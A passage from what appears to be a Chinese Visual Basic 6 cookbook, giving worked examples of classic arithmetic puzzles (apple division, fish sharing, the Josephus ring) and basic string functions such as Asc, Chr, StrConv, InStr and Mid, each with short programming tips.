                        If ((a And b + c + d + e = 3 Or Not CBool(a) And b + c + d + e <> 3) _
                           And (b And a + c + d + e = 0 Or Not CBool(b) And a + c + d + e <> 0) _
                           And (c And a + b + d + e = 1 Or Not CBool(c) And a + b + d + e <> 1) _
                           And (d And a + b + c + e = 4 Or Not CBool(d) And a + b + c + e <> 4)) Then
                            Print "0-black,1-white"
                            Print "a is " & a
                            Print "b is " & b
                            Print "c is " & c
                            Print "d is " & d
                            Print "e is " & e
                        End If
                    Next e
                Next d
            Next c
        Next b
    Next a
End Sub




秘笈心法

心法领悟113：Stop语句小知识。

暂停执行。Stop语句会暂停程序的执行，但是它不像End，因为Stop不会关闭任何文件或清除变量，除非它是以编译后的可执行文件（.exe）方式来执行的。所以在程序中使用Stop语句有一定的危险，要是把Stop遗留在程序中，在编译.exe（可执行文件）后，程序遇到Stop语句可能会死掉。



 实例114　巧分苹果

光盘位置：光盘\MR\04\114

高级

趣味指数：[image: ]




实例说明

一家农户以果园为生，一天，父亲推出一车苹果，共2520个，准备分给他的6个儿子。父亲先按事先写在一张纸上的数字把这堆苹果分完，每个人分到的苹果的个数都不相同。然后他说：“老大，把你分到的苹果分1/8给老二，老二拿到后，连同原来的苹果分1/7给老三，老三拿到后，连同原来的苹果分1/6给老四，依此类推，最后老六拿到后，连同原来的苹果分1/3给老大，这样，你们每个人分到的苹果就一样多了。”问兄弟6人原先各分到多少只苹果？程序的运行效果如图4.48所示。

[image: ]
图4.48　巧分苹果



关键技术

要解决本实例首先要分析其中的规律，这里我们设xi（i=1、2、3、4、5、6）依次为6个兄弟原来分到的苹果数，设yi=（2、3、4、5、6）为除老大外其余5个兄弟从哥哥那里得到还未分给弟弟时的苹果数，那么老大是个特例则x1=y1。因为苹果的总数是2520，那么我们可以很容易地便知道6个人平均每人得到的苹果数s应为420，则可得到如下关系：

y2=x2+（1/8）*y1,

y2*（6/7）=s;

y3=x3+（1/7）*y2,

y3*（5/6）=s;

y4=x4+（1/6）*y3,

y4*（4/5）=s;

y5=x5+（1/5）*y4,

y5*（3/4）=s;

y6=x6+（1/4）*y5,

y6*（2/3）=s;

以上求s都是有规律的，对于老大的求法这里单列，即y1=x1,x1*（7/8）+y6*（1/3）=s。

根据上面分析的内容我们利用数组便可实现巧分苹果。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“巧分苹果”，StartUp Position属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Activate()
    Me.Cls
    Dim x(6) As Integer, y(6) As Integer, s As Integer, i As Integer
    s = 2520 / 6
    For i = 2 To 6
        y(i) = s * (9 - i) / (8 - i)
        x(1) = (s - y(6) / 3) * 8 / 7
        y(1) = (s - y(6) / 3) * 8 / 7
    Next i
    
    For i = 2 To 6
        x(i) = y(i) - y(i - 1) / (10 - i)
    Next i
    
    For i = 1 To 6
        Print "x(" & i & ")=" & x(i)
    Next i
End Sub




秘笈心法

心法领悟114：Time语句小知识。

设置系统时间。如果Time是一字符串，则Time会试着根据系统指定的时间，利用时间分隔符将其转换成一个时间。如果无法转换成一个有效的时间，则会导致错误发生。



 实例115　老王卖瓜——卖西瓜

光盘位置：光盘\MR\04\115

高级

趣味指数：[image: ]




实例说明

[image: ]
图4.49　卖西瓜



一农户在集市上卖西瓜，他总共有1020个西瓜，第一天卖掉一半多两个，第二天卖掉剩下的一半多两个，问按照此规律卖下去，该农户几天能将所有的西瓜卖完，请编程实现，程序的运行效果如图4.49所示。

关键技术

本实例设x1为西瓜的总数，每天西瓜的总数都按同一规律变化即前一天西瓜数的一半再减2，用while循环来实现每天的变化，那么循环结束条件是什么呢？这里采用西瓜的总数作为循环结束的条件，当西瓜总数为0时，循环结束。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“卖西瓜”，StartUp　Position属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Activate()
    Me.Cls
    Dim day As Integer, x1 As Integer, x2 As Integer
    x1 = 1020
    Do While x1
        x2 = x1 / 2 - 2
        x1 = x2
        day = day + 1
    Loop
    Print "西瓜" & day & "天能卖完"
End Sub




秘笈心法

心法领悟115：Unload语句小知识。

从内存中卸载窗体或控件。在卸载窗体时，只有显示的部件被卸载。和该窗体模块相关联的代码还保持在内存中。



 实例116　三天打鱼——打渔晒网问题

光盘位置：光盘\MR\04\116

高级

趣味指数：[image: ]




实例说明

如果一个渔夫从2000年1月1日开始每3天打一次鱼两天晒一次网，编程实现当输入2000年1月1日以后的任意一天，输出该渔夫是在打渔还是在晒网？程序的运行效果如图4.50所示。

[image: ]
图4.50　打渔晒网问题



关键技术

要实现本实例要求的功能主要有以下两个技术要点：

第一，判断输入的年份（2000年以后包括2000年）是否是闰年，这里我们自定义函数leap来进行判断。该函数的核心内容就是闰年的判断条件即能被4整除但不能被100整除或能被400整除。

第二，如何求输入日期距2000年1月1日有多少天。首先是判断2000年距输入的年份间有多少年，这其中有多少年是闰年就加多少个366，有多少年是平年也同样加多少个365，其次是要将12个月每月的天数存到数组中，因为闰年2月份的天数有别于平年，故采用两个数组a和b分别存储。当输入年份是平年，月份为m时就在前面累加的日期的基础上继续累加存储着平年每月天数的数组的前m-1个元素，将累加的结果加上输入的日期便求出了最终结果，闰年的算法类似。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“打渔晒网问题”，StartUpPosition属性设置为“2-屏幕中心”。

（3）自定义函数leap，用来判断输入的年份是否是闰年，代码如下：



Private Function leap(ByVal a As Integer) As Integer
    If a Mod 4 = 0 And a Mod 100 <> 0 Or a Mod 400 = 0 Then
        leap = 1
    Else
        leap = 0
    End If
End Function




自定义函数number，用来计算输入日期距2000年1月1日共有多少天，代码如下：



Private Function number(ByVal year As Integer, ByVal m As Integer, ByVal d As Integer)
    Dim sum As Integer, i As Integer, j As Integer, k As Integer, a, b
    a = Array(31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31)
    b = Array(31, 29, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31)
    
    If leap(year) = 1 Then
        For i = 0 To m - 2
            sum = sum + b(i)
        Next i
    Else
        For i = 0 To m - 2
            sum = sum + a(i)
        Next i
    End If
    
    For j = 2000 To year - 1
        If leap(j) = 1 Then
            sum = sum + 366
        Else
            sum = sum + 365
        End If
    Next j
    sum = sum + d
    number = sum
End Function




采用窗体的Click事件，该事件内代码如下：



Private Sub Form_Click()
    Dim year As Integer, month As Integer, day As Integer, n As Integer
    Dim str
    Dim arr
    str = InputBox("请输入年月日，格式如:2000-1-2")
    arr = Split(str, "-")
    If UBound(arr) - LBound(arr) > 1 Then
        year = arr(0)
        month = arr(1)
        day = arr(2)
        n = number(year, month, day)
        If n Mod 5 < 4 And n Mod 5 > 0 Then
            Print year & "-" & month & "-" & day & " is fishing"
        Else
            Print year & "-" & month & "-" & day & " is basking"
        End If
    Else
        MsgBox "输入格式不正确"
    End If
End Sub




秘笈心法

心法领悟116：Big5码与Unicode码的转换。



'将Mem数组转换为Big5码所对应的Unicode码
Mem = StrConv(Mem, vbUnicode, &H404)
'再将Unicode码转换为GBK编码
Mem = StrConv(Mem, vbFromUnicode, &H804)






 实例117　细水长流——水池注水问题

光盘位置：光盘\MR\04\117

高级

趣味指数：[image: ]




实例说明

有4个水渠（A、B、C、D）向一个水池注水，如果单开A，3天可以注满，如果单开B，1天可以注满，如果单开c，4天可以注满，如果单开D，5天可以注满。问如果A、B、C、D 4个水池同时注水，注满水池需要几天？程序的运行效果如图4.51所示。

[image: ]
图4.51　水池注水问题



关键技术

首先要求出一天每渠的注水量，这里分别是1/3、1/1、1/4、1/5，要4渠共同注水就求出每天注水之和即1/3+1/1+1/4+1/5，那么1池水多久能注满只需用1除以它们的和便可。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“水池注水问题”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Activate()
    Me.Cls
    Dim a1 As Single, b1 As Single, c1 As Single, d1 As Single
    Dim Day As Single
    a1 = 3: b1 = 1: c1 = 4: d1 = 5
    Day = 1 / (1 / a1 + 1 / b1 + 1 / c1 + 1 / d1)
    Print "需要" & Day & "天注满"
End Sub




秘笈心法

心法领悟117：定义显示数据的过程（View_Data过程）。

本节定义一个名为View_Data的过程。该过程主要用于在文本框中显示数据库中的信息。

过程名称：View_Data。

过程功能：数据显示。

在销售管理系统中的付款方式管理模块中，反复用到了将数据表中的数据显示在文本框中的代码，因此这里将其定义为过程。该过程名称为View_Data，代码如下：



Sub view_data()
  If Adodc1.Recordset.RecordCount > 0 Then
  Dim i As Integer
  For i = 0 To Text1.UBound
    Text1(i) = DataGrid1.Columns(i).text
  Next i
  End If
End Sub






 实例118　分我杯羹——分鱼问题

光盘位置：光盘\MR\04\118

高级

趣味指数：[image: ]




实例说明

[image: ]
图4.52　分鱼问题



A、B、C、D、E 5个人在某天夜里合伙去捕鱼，到第二天凌晨时都疲惫不堪，于是各自找地方睡觉。第二天，A第一个醒来，他将鱼分成5份，把多余的一条鱼扔掉，拿走自己的一份。B第二个醒来，也将鱼分为5份，把多余的一条扔掉，拿走自己的一份，C、D、E依次醒来，也按同样的方法拿鱼。问他们合伙至少捕了多少条鱼？程序的运行效果如图4.52所示。

关键技术

根据题意假设鱼的总数是x，那么第一次每人分到的鱼的数量可用（x-1）/5表示，余下的鱼数为4*（x-1）/5，将余下的数量重新赋值给x，依然调用（x-1）/5，如果连续5次x-1后均能被5整除，则说明最初的x值便是本题目的解。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“分鱼问题”，StartUp Position属性设置为“2-屏幕中心”。

（3）假定sum的范围从100～10000，依照技术要点中讲的方法对这些数字进行筛选，对满足条件的将其输出并退出程序，代码如下：



Private Sub Form_Activate()
    Me.Cls
    Dim sum As Integer, i As Integer, j As Integer, n As Integer
    For sum = 100 To 9999
        j = sum
        n = 0
        Do While (j - 1) Mod 5 = 0
            n = n + 1
            If n = 5 Then
                Print "鱼的总数为：" & sum
                Exit For
            Else
                j = (j - 1) * 4 / 5
            End If
        Loop
    Next sum
End Sub




秘笈心法

心法领悟118：定义设置控件状态的过程（Control_State过程）。

本节定义一个名为Control_State的过程。该过程主要用于设置按钮控件、文本框控件是否可用、是否可见。

过程名称：Control_State。

过程功能：用于设置控件是否可见、可用。

在数据录入过程中，有时需要设置指定的控件的状态。这时，可以定义一个设置控件状态的过程。例如，商品入库模块中的Control_State过程。该过程用于设置指定的按钮控件、文本框控件不可用或可用、不可见或可见。过程代码如下：



Private Sub Control_State(bVal As Boolean)
  cmdRegister.Enabled = Not bVal
  cmdSave.Enabled = bVal
  cmdCancel.Enabled = bVal
  MS1.Enabled = bVal
  text1.Enabled = bVal
  Frame2.Enabled = bVal
  text1.Visible = bVal
End Sub




窗体载入时，设置需要录入数据的控件不可用或不可见，调用Control_State过程，并设置参数bVal的值为False；单击“登记”按钮，设置需要录入数据的控件可用或可见，调用Control_State过程，并设置参数bVal的值为True。调用过程的代码如下：



Private Sub Form_Load()
 '设置控件有效或无效
  Control_State False
End Sub
Private Sub cmdRegister_Click()
 '设置控件有效或无效
  Control_State True
End Sub






 实例119　平分秋色——递归解分鱼问题

光盘位置：光盘\MR\04\119

高级

趣味指数：[image: ]




实例说明

[image: ]
图4.53　递归解分鱼问题



A、B、C、D、E 5个人在某天夜里合伙去捕鱼，到第二天凌晨时都疲惫不堪，于是各自找地方睡觉。第二天，A第一个醒来，他将鱼分成5份，把多余的一条鱼扔掉，拿走自己的一份。B第二个醒来，也将鱼分为5份，把多余的一条扔掉，拿走自己的一份，C、D、E依次醒来，也按同样的方法拿鱼。问他们合伙至少捕了多少条鱼？程序的运行效果如图4.53所示。

关键技术

本实例采用了递归的方法来求解鱼的总数，这里有一点需要强调，用递归求解时一定要注意要有递归结束的条件。本实例中n=1时便是递归程序的出口。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“递归解分鱼问题”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Function sub1(ByVal n As Integer) As Integer
    If n = 1 Then
        Static i As Integer
        Do
            i = i + 1
        Loop While i Mod 5 <> 0
        sub1 = i + 1
    Else
        Dim t As Integer
        Do
            t = sub1(n - 1)
        Loop While t Mod 4 <> 0
        sub1 = t / 4 * 5 + 1
    End If
End Function
Private Sub Form_Activate()
    Me.Cls
    Dim total As Integer
    total = sub1(5)
    Print "鱼的总数为：" & total
End Sub




秘笈心法

心法领悟119：将短日期格式格式化为长日期格式。

VB中的Shell函数用于执行外部程序。也可以通过API函数中的WinExec函数替代Shell函数来解决这一问题，程序代码如下：



Private Declare Function WinExec Lib "kernel32" (ByVal lpCmdLine As String, ByVal nCmdShow As Long) As Long
Private Const SW_RESTORE = 9
Private Sub Command1_Click()
    Dim RET As Integer
    RET = WinExec("CALC.EXE", SW_RESTORE)
    If RET > 32 Then Print "调用正确" Else Print "调用错误"
End Sub






 实例120　会逢其适——求车运行速度

光盘位置：光盘\MR\04\120

高级

趣味指数：[image: ]




实例说明

[image: ]
图4.54　求车运行速度



一辆以固定速度行驶的汽车，司机在上午8点看到里程表上的读数是一个对称数（即这个数从左向右读和从右向左读是完全一样的），为95859。两小时后里程表上出现了一个新的对称数。问该车的平均速度是多少？新的对称数是多少？程序的运行效果如图4.54所示。

关键技术

本实例的关键是如何将探测到的5位数的各位分解存到数组中，方法有很多种，这里我们用到了while循环来实现该功能，举具体数字说明一下：如果i=95886，当k=100000时，a[1]=95886%100000/10000，此时a[1]中存放的数字是9，k通过k/=10被重新赋值为10000，第二次循环a[2]=95886%10000/1000，此时a[2]中存放的是5，依此类推，a[3]、a[4]、a[5]中存放的分别是8、8、6，这样就可以通过比较第一位和第五位、第二位和第四位是否相同来判断该数字是否是我们要找的对称数。


注意：
 当找到对称数时，要使用break跳出循环，否则程序将无限循环下去。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“求车运行速度”，StartUpPosition属性设置为“2-屏幕中心”。

（3）程序的运行代码如下：



Private Sub Form_Activate()
    Dim j As Integer, a(4) As Integer
    Dim k As Long, i As Long
    i = 95860
    Do While True
        j = 0
        k = 100000
        Do While k >= 10
            a(j) = (i Mod k) \ (k / 10)
            k = k / 10
            j = j + 1
        Loop
        If a(0) = a(4) And a(1) = a(3) Then
            Print "该车的平均速度:" & (i - 95859) / 2#
            Print "新的对称数是:" & a(0) & a(1) & a(2) & a(3) & a(4)
            Exit Sub
        End If
        i = i + 1
    Loop
End Sub




秘笈心法

心法领悟120：使用API函数Sleep延迟时间。

利用API函数中Sleep函数可以实现延时的功能。调用格式：Sleep（i），其中i代表延时1毫秒，代码如下：



Private Declare Sub Sleep Lib "kernel32" (ByVal dwMilliseconds As Long)  '声明Sleep过程
Private Sub Command1_Click()
    Call Sleep(3000)  '延时3秒
    MsgBox "HELLO"
End Sub






 实例121　进退失据——一圈人逢三退一

光盘位置：光盘\MR\04\121

高级

趣味指数：[image: ]




实例说明

一百个人手拉手围成一圈，逢三退一（1到3循环数数，被数到3的人退出），求最后一个被剩下人的编号。程序的运行效果如图4.55所示。

[image: ]
图4.55　逢三退一



关键技术

本实例是对约瑟夫环的应用。约瑟夫环是由古罗的历史学家约瑟夫提出的。他参加并记录了公元60～70年犹太人反抗罗马的起义。约瑟夫作为一个将军设法守住了裘达伯特城达47天之久。在城市沦陷之后，他和40名死士藏秘于一个洞穴中。在那里，他们表决要“投降毋宁死”，于是约瑟夫建议每个人轮流杀死他旁边的人，而这个顺序是由抽签决定的。约瑟夫有预谋地抽了最后一签，并且作为洞穴中两个幸存者之一，说服了手下，一起投降罗马。

在本实例中将100个人被视为100个数组元素，利用循环实现约瑟夫环，循环的条件是剩下的人大于1。当用来充当计数器的变量值为3时，将该变量值归零后将代表圈内人数的变量值减1，并对相应的数组元素做出不在圈内的标记。如果圈内的人数大于1，那么就开始新的一轮循环，周而复始，直至剩下人数为1为止。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“一圈人逢三退一”，StartUpPosition属性设置为“2-屏幕中心”。

（3）创建自定义过程Count3quit用来实现约瑟夫环。它拥有两个形式参数，第一个参数为必选参数，用来指定人数；第二个参数为可选参数，用来表示数组的默认下限是否为1，代码如下：



Private Function Count3quit(ByVal Count As Integer, Optional Base1 As Boolean) As Integer
'参数Count表示人个数，参数Base1代表数组下界是否为1（默认为0）
On Error GoTo 1                                            '遇错到标签1所在处
    Dim i As Integer                                         '声明整型变量
    Dim arr() As Boolean                                  '声明布尔型数组
    If Base1 Then                                           '如果数组下界为1
        ReDim arr(Count)                                 '指定动态数组上界
    Else                                                  '如果数组下界为0
        ReDim arr(Count - 1)                              '指定动态数组上界
    End If
    For i = LBound(arr) To UBound(arr)                        '遍历数组元素
        arr(i) = True                                       '数组元素值设置为‘真’
    Next i
    
    Dim leftcount As Integer                                 '定义整型变量
    leftcount = UBound(arr) - LBound(arr) + 1                '剩下人数初始值
    
    Dim CountNum As Integer                             '声明整型变量
    Dim index As Integer                                     '声明整型变量
    index = LBound(arr)                                     '索引值，初始值为数组下界
    Do While leftcount > 1                                  '当剩下的人大于1
        If arr(index) = True Then                             '当人还在圈内
            CountNum = CountNum + 1                      '加1
                If CountNum = 3 Then                      '当等于3
                    CountNum = 0                         '归零
                    arr(index) = False                        '设置不在圈内标志
                    leftcount = leftcount - 1                 '剩下人数减1
                End If
        End If
        index = index + 1                                 '索引值加1
        '当索引值等于数组长度时
        If index = IIf(Base1, UBound(arr) - LBound(arr) + 2, UBound(arr) - LBound(arr) + 1) Then
            index = LBound(arr)                           '索引值设置为数组下界
        End If
    Loop
    
    For i = LBound(arr) To UBound(arr)                        '遍历数组元素
        If arr(i) = True Then                               '如果某人还在圈内
            Count3quit = IIf(Base1, i, i + 1)                   '显示该人编号
            Exit Function                                   '跳出本过程
        End If
    Next i
    Exit Function
1:
End Function




在窗体的Active事件中调用上述自定义过程，代码如下：



Private Sub Form_Activate()
    Me.Cls
    Print "还剩下编号为" & Count3quit(100) & "的人"           '显示剩下人的编号
End Sub




秘笈心法

心法领悟121：实现毫秒精度的延时。

通过设置Timer控件的Interval属性设置延时。Interval属性以1毫秒为单位指定Timer事件之间的间隔，如下面代码：



Private Sub Command1_Click()
    Timer1.Interval = 1              '延时1毫秒
    Timer1.Enabled = True          '启用Timer1控件
End Sub
Private Sub Command2_Click()
    Timer1.Enabled = False          '停用Timer1控件
End Sub
Private Sub Timer1_Timer()
    Text1.Text = Int(Rnd * 100) + 1      '在文本框Text1内显示随机数
End Sub





第5章　字符串及字符串处理技术

字符串转换

字符串查找与判断比较

字符串处理

字符串位置与长度

综合应用






 5.1　字符串转换



 实例122　字母与ASCII码的相互转换

光盘位置：光盘\MR\05\122

初级

趣味指数：[image: ]




实例说明

利用VB中的Asc函数可以获得字母的ASCII码；反之，当知道字母的ASCII码值，可以利用Chr函数来实现获得与指定ASCII码相对应的字符。本实例实现了获得字母a的ASCII码和获得ASCII值为97的字符，程序的运行效果如图5.1所示。

[image: ]
图5.1　字母与ASCII码的相互转换



关键技术

本实例主要是通过使用Asc函数获得字母的ASCII码和用Chr函数获得与指定ASCII相对应的字符来实现的。

Asc函数用于返回一个Integer，代表字符串中首字母的字符代码，语法如下：



Asc(string)




参数说明

string：必选参数。string参数可以是任何有效的字符串表达式。如果string中没有包含任何字符，则会产生运行时错误。

下面示例使用Asc函数返回字符串首字母字符值的Asc码值。



Num = Asc("A")            '变量Num的返回值为65
Num = Asc("b")            '变量Num的返回值为98
Num = Asc("Apple")        '变量Num的返回值为65





说明：
 Chr函数的详细讲解请参见实例082中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“字母与ASCII码的相互转换”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，将Caption属性分别设置为“获得字母a的ASCII码：”和“ASCII码值为97的字母：”。

（4）在窗体上添加两个TextBox控件，用于显示运行结果。

（5）程序的运行代码如下：



Private Sub Form_Load()
    Text1.Text = Asc("a")      '输出为97
    Text2.Text = Chr(97)       '输出为"a"
End Sub




秘笈心法

心法领悟122：根据区位码判断汉字。

本实例根据区位码的范围来确定是否是汉字。如果区位范围在16～87就为汉字，代码如下：



If Q>=16 and Q<=87 then
    Msgbox "是汉字"
End if




显示结果：如果在文本框中输入“明”就提示“汉字”，如果输入“M”就提示“字母”。



 实例123　汉字区位码与汉字的相互转化

光盘位置：光盘\MR\05\123

初级

趣味指数：[image: ]




实例说明

本实例中通过区位码获得汉字的方法是先将区位码存入数组中，然后将数组中的数值转换为国标码（国标码的十进制值比区位码十进制值大160），最后利用StrConv函数将国标码转换为汉字。通过汉字获得区位码是获取一个汉字的ASCII码，然后将ASCII码转换为国标码，最后将国标码转换为区位码，程序的运行效果如图5.2所示。

[image: ]
图5.2　汉字区位码与汉字的相互转化



关键技术

本实例主要是通过使用动画控件和设置鼠标的消息响应来实现的。

首先通过CAnimateCtrl类来创建和使用动画控件，CAnimateCtrl类的方法如下所示。

（1）StrConv函数

该函数用于返回按指定类型转换的Variant （String），语法如下：



StrConv(string, conversion, LCID)




参数说明

❶string：必选参数。要转换的字符串表达式。

❷conversion：必选参数。为Integer。其值的和决定转换的类型。

․ LCID：可选参数。如果与系统LocaleID不同，则为LocaleID（系统LocaleID为默认值）。

conversion参数的设置如表5.1所示。

表5.1　conversion参数的设置



	常数
	值
	说明



	vbUpperCase
	1
	将字符串文字转成大写



	vbLowerCase
	2
	将字符串文字转成小写



	vbProperCase
	3
	将字符串中每个字的开头字母转成大写



	vbWide*
	4*
	将字符串中单字节字符转成双字节字符



	vbNarrow*
	8*
	将字符串中双字节字符转成单字节字符



	vbKatakana**
	16**
	将字符串中平假名字符转成片假名字符



	vbHiragana**
	32**
	将字符串中片假名字符转成平假名字符



	vbUnicode
	64
	根据系统的默认码页将字符串转成 Unicode



	vbFromUnicode
	128
	将字符串由 Unicode 转成系统的默认码页




其中：*应用到远东国别。**仅应用到日本。


注意：
 这些常数是由VBA指定的。可以在程序中使用它们来替换真正的值。其中大部分是可以组合的，例如，vbUpperCase +vbWide；互斥的常数不能组合，例如，vbUnicode + vbFromUnicode。当在不适用的国别使用常数vbWide、vbNarrow、vbKatakana和vbHiragana 时，就会导致程序运行时错误。

下面是一些一般情况下的有效分界符：Null（Chr$（0）），水平制表符（Chr$（9）），换行（Chr$（10）），垂直制表符 （Chr$（11）），换页（Chr$（12）），回车（Chr$（13）），空白（SBCS）（Chr$（32））。在DBCS中，空白的实际值会随国家/地区的不同而不同。

将ANSI格式的Byte数组转换为字符串时，应该使用StrConv函数。当转换 Unicode 格式的这种数组时，应该使用赋值语句。

（2）Hex函数

该函数用于返回代表十六进制数值的String，语法如下：



Hex(number)




参数说明

number：必选参数。number参数为任何有效的数值表达式或字符串表达式。

下面示例使用Hex函数来得到某数值的十六进制值。



NumOct = Hex(3)         '变量NumOct的返回值为 3
NumOct = Hex(11)        '变量NumOct的返回值为 B
NumOct = Hex(400)       '变量NumOct的返回值为190
NumOct = Hex(950)       '变量NumOct的返回值为 3B6





说明：
 如果number还不是一个整数，那么在执行前会先被四舍五入成最接近的整数。

如果number为Null所得为Null；如果number为Empty所得为零（0）；如果number为任何其他的数字所得为最多可到8个十六进制字符。适当范围内的数字，前缀以&H，可以直接表示十六进制数字。例如，十六进制表示法的&H10代表十进制的16。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“汉字区位码与汉字的相互转化”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，将Caption属性分别设置为“通过区位码获得汉字：”和“通过汉字获得区位码：”。

（4）在窗体上添加两个TextBox控件，用于显示运行结果；添加两个CommandButton控件，用于执行命令。

（5）程序的运行代码如下：



Private Sub Command1_Click()
    On Error GoTo err2
    Dim barr(1) As Byte
    Dim sMe As String
    barr(0) = CInt(Mid(Text3.Text, 1, 2)) + 160    '转换为国标码
    barr(1) = CInt(Mid(Text3.Text, 3, 4)) + 160
    sMe = StrConv(barr, vbUnicode)
    Text4.Text = sMe
    Exit Sub
err2:
    MsgBox Err.Description, , "明日图书"
End Sub
Private Sub Command2_Click()
    On Error GoTo err1
    Dim QW
    Dim Q As Integer, W As Integer
    Dim Inputstr As String
    Inputstr = Text1.Text
    QW = Hex(Asc(Inputstr))    '获取国标码
    Q = CInt("&h" + Mid(QW, 1, 2))
    W = CInt("&h" + Mid(QW, 3, 2))
    Text2.Text = Format(Q - 160, "00") & " " & Format(W - 160, "00")    '转换为区位码
    Exit Sub
err1:
    MsgBox Err.Description, ,"明日图书"
End Sub




秘笈心法

心法领悟123：将日期转换为字符串。

可以利用Date函数获取当前系统日期。CStr函数可以把数字或日期转换为字符串。例如，本例把当前系统时间转换为字符串。关键代码如下：



Dim mystr As String
mystr = CStr(Date)






 实例124　数字与字符串的相互转换

光盘位置：光盘\MR\05\124

初级

趣味指数：[image: ]




实例说明

利用CStr函数可以把数字转换为字符串。Val函数的返回值为数字，可以把数字型字符串转换为数字。运行本实例，程序的运行效果如图5.3所示。

[image: ]
图5.3　数字与字符串的相互转换



关键技术

本实例主要是通过利用CStr函数把数字转换为字符串和Val函数把数字型字符串转换为数字来实现的。


说明：
 （1）CStr函数的详细讲解请参见实例026中的关键技术。

（2）Val函数的详细讲解请参见实例019中的关键技术。

设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“数字与字符串的相互转换”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加两个Label控件，将Caption属性分别设置为“把数字转换为字符串”和“把字符串转换为数字”。

（4）在窗体上添加两个TextBox控件，用于显示运行结果；添加两个CommandButton控件，用于执行命令。

（5）程序的运行代码如下：



Private Sub Command2_Click()
    Text2.Text = CStr(Text1)
    Text4.Text = Val(Text3)
End Sub




秘笈心法

心法领悟124：将字符串全部转换为大写。

利用UCase函数可将字符串转换为大写。例如，本实例将字符串“abc”转换为大写。关键代码如下：



Text1.Text = UCase("abc")        '显示结果"ABC"





 5.2　字符串查找与判断比较



 实例125　在字符串中查找指定字符

光盘位置：光盘\MR\05\125

初级

趣味指数：[image: ]




实例说明

[image: ]
图5.4　在字符串中查找指定字符



在字符串中查找指定的字符串可以利用InStr函数来实现。InStr函数用于判断指定字符串在另一个字符串中最早出现的位置，如果返回值大于0，则说明指定字符在字符串当中，否则，指定的字符（串）不在字符串中。如本实例，判断文本框Text2中字符串是否存在于文本框Text1中，单击“查找”按钮即可显示是否存在的结果。执行后的显示结果如图5.4所示。

关键技术

本实例主要是通过使用InStr函数来实现的。

InStr函数返回Variant （Long），指定一字符串在另一字符串中最先出现的位置，语法如下：



InStr([start, ]string1, string2[, compare])




InStr函数中的参数说明如表5.2所示。

表5.2　InStr函数中的参数说明



	参数
	说明



	start
	可选参数。为数值表达式，设置每次搜索的起点。如果省略，将从第一个字符的位置开始。如果start包含Null，将发生错误。如果指定了compare参数，则一定要有start参数



	string1
	必选参数。接受搜索的字符串表达式



	string2
	必选参数。被搜索的字符串表达式



	compare
	可选参数。指定字符串比较。如果compare是Null，将发生错误。如果省略compare，Option Compare的设置将决定比较的类型




compare参数的设置如表5.3所示。

表5.3　compare参数设置



	常数
	值
	描述



	vbUseCompareOption
	-1
	使用Option Compare语句的设置值来执行比较



	vbBinaryCompare
	0
	执行二进制比较



	vbTextCompare
	1
	执行文字比较



	vbDatabaseCompare
	2
	仅适用于Microsoft Access，执行一个基于数据库中信息的比较




参数的返回值如表5.4所示。

表5.4　参数返回值



	如果
	InStr返回值



	string1为0长度
	0



	string1为Null
	Null



	string2为0长度
	Start



	string2为Null
	Null



	string2找不到
	0



	在string1中找到string2
	找到的位置



	start>string2
	0




下面示例实现的是使用InStr函数来查找某字符串在另一个字符串中首次出现的位置。



StrPos = Instr(4, "ABpXLpXXaXCP","a", 1)   '变量StrPos的值为6




下面示例通过Left函数和Len函数获取计算机名称。



GetIPHostName = Left$(sHostName, InStr(sHostName, Chr(0)) - 1)




下面示例获取流逝时间，从中提取分、秒和毫秒。



sec = Format(Timer - starttime, "@@@.000")
point = InStr(sec, ".")
mse = Mid(sec, point + 1, 2)




设计过程

（1）新建一个标准工程。

（2）在工程中添加一个窗体，窗体的名称使用其默认名称，将Caption属性设置为“如何在字符串中查找指定字符”，StartUpPosition属性设置为“2-屏幕中心”。

（3）在窗体上添加3个TextBox控件，分别用于输入两个字符串和显示字符串是否存在；添加一个CommandButton控件，将Caption属性设置为查找。

（4）程序的运行代码如下：



Private Sub Command1_Click()
    If InStr(1, Text1, Text2, vbTextCompare) > 0 Then
        Text3.Text = "字符串存在"
    Else
        Text3.Text = "字符串不存在"
    End If
End Sub




秘笈心法

心法领悟125：将字符串全部转换为小写。

利用LCase函数可将字符串转换为小写。如把字符串“ABC”转换为小写。关键代码如下：



Text1.Text = LCase("ABC")    '显示结果"abc"






 实例126　在字符串中提取部分字符

光盘位置：光盘\MR\05\126

初级

趣味指数：[image: ]




实例说明

利用Mid函数可获得字符串中指定位数和长度的子字符串，语法如下：



Mid(string,i,j),




其中，i表示起点位置，j表示要设置的长度。例如，本例在文本框Text1中输入字符串“welcome to mingri”，确定起点为4，长度为4，单击“确定”按钮显示结果，如图5.5所示。

[image: ]
